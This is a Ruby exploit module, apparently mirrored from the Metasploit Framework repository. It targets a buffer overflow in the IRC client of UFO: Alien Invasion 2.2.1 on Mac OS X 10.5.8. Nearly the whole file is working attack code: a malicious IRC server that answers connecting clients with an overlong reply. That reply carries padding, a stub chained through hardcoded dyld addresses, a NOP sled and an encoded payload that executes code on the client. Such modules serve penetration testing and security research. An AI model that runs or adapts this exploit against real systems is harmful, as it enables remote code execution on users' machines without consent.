mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-10-29 18:07:27 +01:00
35d3bbf74d
See the complaint on #4039. This doesn't fix that particular issue (it's somewhat unrelated), but does solve around a file parsing problem reported by @void-in
114 lines
2.8 KiB
Ruby
114 lines
2.8 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::Remote::TcpServer
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'UFO: Alien Invasion IRC Client Buffer Overflow',
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'Description' => %q{
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This module exploits a buffer overflow in the IRC client component
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of UFO: Alien Invasion 2.2.1.
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},
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'Author' =>
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[
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'Jason Geffner', # Original Windows PoC Author
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'dookie' # OSX Exploit Author
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'OSVDB', '65689' ],
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[ 'EDB', '14013' ]
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],
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'Payload' =>
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{
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'Space' => 400,
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'BadChars' => "\x00\x0a\x0d",
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'MaxNops' => 0,
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'StackAdjustment' => -3500,
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},
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'Platform' => 'osx',
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'Targets' =>
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[
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[ 'Mac OS X 10.5.8 x86, UFOAI 2.2.1',
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{
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'Arch' => ARCH_X86,
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'Offset' => 524,
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'Writable' => 0x8fe66448, # dyld __IMPORT
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# The rest of these addresses are in dyld __TEXT
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'setjmp' => 0x8fe1cf38,
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'strdup' => 0x8fe210dc,
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'jmp_eax' => 0x8fe01041
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}
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]
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Oct 28 2009'))
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register_options(
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[
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OptPort.new('SRVPORT', [ true, "The IRC daemon port to listen on", 6667 ]),
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], self.class)
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end
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def make_exec_payload_from_heap_stub()
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frag0 =
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"\x90" + # nop
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"\x58" + # pop eax
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"\x61" + # popa
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"\xc3" # ret
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frag1 =
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"\x90" + # nop
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"\x58" + # pop eax
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"\x89\xe0" + # mov eax, esp
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"\x83\xc0\x0c" + # add eax, byte +0xc
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"\x89\x44\x24\x08" + # mov [esp+0x8], eax
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"\xc3" # ret
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setjmp = target['setjmp']
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writable = target['Writable']
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strdup = target['strdup']
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jmp_eax = target['jmp_eax']
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exec_payload_from_heap_stub =
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frag0 +
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[setjmp].pack('V') +
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[writable + 32, writable].pack("V2") +
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frag1 +
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"X" * 20 +
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[setjmp].pack('V') +
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[writable + 24, writable, strdup, jmp_eax].pack("V4") +
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"X" * 4
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end
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def on_client_connect(client)
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print_status("Got client connection...")
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offset = target['Offset']
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buffer = "001 :"
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buffer << rand_text_alpha_upper(offset)
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buffer << make_exec_payload_from_heap_stub()
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buffer << make_nops(16)
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buffer << payload.encoded
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buffer << "\x0d\x0a"
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print_status("Sending exploit to #{client.peerhost}:#{client.peerport}...")
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client.put(buffer)
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end
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end
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